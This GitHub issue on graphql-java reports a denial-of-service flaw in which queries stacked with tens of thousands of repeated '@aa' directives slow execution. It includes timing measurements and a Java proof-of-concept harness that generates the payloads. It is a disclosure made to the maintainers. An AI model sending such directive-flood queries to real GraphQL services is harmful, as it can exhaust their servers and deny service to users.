Skip to content

Denial of Service via Directive overloading #2888

Description

@act1on3

Hello team,
I've discovered that graphql-java is affected by Denial of Service via Directives overloading by default, and there is no way to configure it securely (afaik).
Query example:

query {__typename @aa}

I get errors by implemented security mechanisms, but these mechanisms don't help in this case:

MaxQueryDepthInstrumentation and MaxQueryComplexityInstrumentation don't solve the issue as well.

Query execution time increases by adding more directives:

5000 directives: 445 ms
10000 directives: 732 ms
15000 directives: 1164 ms
20000 directives: 1671 ms
25000 directives: 2159 ms
30000 directives: 2661 ms
35000 directives: 3171 ms
40000 directives: 3687 ms
45000 directives: 4224 ms
50000 directives: 4711 ms
55000 directives: 5227 ms
60000 directives: 5749 ms
65000 directives: 6297 ms
70000 directives: 6788 ms

The code snippet for testing:

import graphql.ExecutionInput;
import graphql.ExecutionResult;
import graphql.GraphQL;
import graphql.schema.GraphQLSchema;
import graphql.schema.StaticDataFetcher;
import graphql.schema.idl.RuntimeWiring;
import graphql.schema.idl.SchemaGenerator;
import graphql.schema.idl.SchemaParser;
import graphql.schema.idl.TypeDefinitionRegistry;

import static graphql.schema.idl.RuntimeWiring.newRuntimeWiring;

public class HelloWorld {

    static Integer STEP = 5000;
    static Integer CHECKS_AMOUNT = 15;

    public static void main(String[] args) {
        String schema = "type Query{hello: String}";

        SchemaParser schemaParser = new SchemaParser();
        TypeDefinitionRegistry typeDefinitionRegistry = schemaParser.parse(schema);

        RuntimeWiring runtimeWiring = newRuntimeWiring()
                .type("Query", builder -> builder.dataFetcher("hello", new StaticDataFetcher("world")))
                .build();

        SchemaGenerator schemaGenerator = new SchemaGenerator();
        GraphQLSchema graphQLSchema = schemaGenerator.makeExecutableSchema(typeDefinitionRegistry, runtimeWiring);

        GraphQL build = GraphQL.newGraphQL(graphQLSchema).build();

        String payload = "@aa";

        for (int i = 1; i < CHECKS_AMOUNT; i++) {

            String query = "query {__typename " + payload.repeat(i * STEP) + "}";
            ExecutionInput executionInput = ExecutionInput.newExecutionInput().query(query).build();

            long startTime = System.nanoTime();

            ExecutionResult executionResult = build.execute(executionInput);

            long endTime = System.nanoTime();
            long duration = (endTime - startTime);

            System.out.println(String.format("%d directives: %d ms", i* STEP, duration / 1000000));
        }
    }
}

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions